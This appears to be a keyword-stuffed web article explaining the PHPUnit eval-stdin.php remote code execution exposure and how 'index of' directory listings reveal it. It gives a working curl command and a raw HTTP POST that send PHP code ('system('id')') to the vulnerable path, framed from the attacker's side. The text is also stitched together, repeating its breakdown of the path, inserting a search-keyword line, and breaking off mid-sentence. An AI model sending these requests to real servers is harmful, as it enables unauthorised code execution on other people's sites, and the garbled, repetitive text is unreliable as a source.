curl -X POST --data "<?php system('id'); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
To understand the threat, we must break down the keyword into its constituent parts:
index of : This is a directive used by web servers (like Apache or Nginx). When a directory does not contain a default index file (e.g., index.php, index.html), the server may generate an automatic listing of all files within that folder. Attackers love index of because it acts as a free directory map.vendor/phpunit/phpunit/ : This indicates that the website is using Composer, the dependency manager for PHP. The vendor folder is where Composer stores third-party libraries. The presence of phpunit here suggests the developer included testing tools.src/Util/PHP/ : This is the specific namespace within PHPUnit that handles PHP process utilities.eval-stdin.php : This is the payload. This file’s sole purpose is to evaluate (execute) PHP code passed to it via standard input (stdin).When combined, the fully exposed path looks like this:
https://victim-site.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
If you find an index of listing for this directory, you have effectively found a direct entry point to execute arbitrary code on the server. index of vendor phpunit phpunit src util php evalstdinphp
An attacker can send a crafted HTTP POST request to the specific URL of the file. The body of the POST request contains the PHP code the attacker wishes to execute.
Example Attack Request:
POST /vendor/phpunit/phpunit/src/Util/PHP/EvalStdin.php HTTP/1.1 Host: targetsite.com Content-Type: application/x-www-form-urlencoded Content-Length: 23
<?php system('id'); ?>
In this scenario:
EvalStdin.php.<?php system('id'); ?> from the request body.eval() function executes the command.The path vendor/phpunit/phpunit/src/Util/PHP/EvalStdin.php indicates that this file is part of a Composer dependency. index of : This is a directive used
vendor/: The default directory where Composer stores all project dependencies.phpunit/phpunit/: The package name.src/Util/PHP/: The namespace housing utility classes for PHP process execution.EvalStdin.php: The specific script designed to read from standard input (STDIN) and execute the received code.If eval-stdin.php is exposed to the public internet (especially in a vendor/ folder inside the web root), an attacker can send PHP code to it and have it executed on the server, leading to: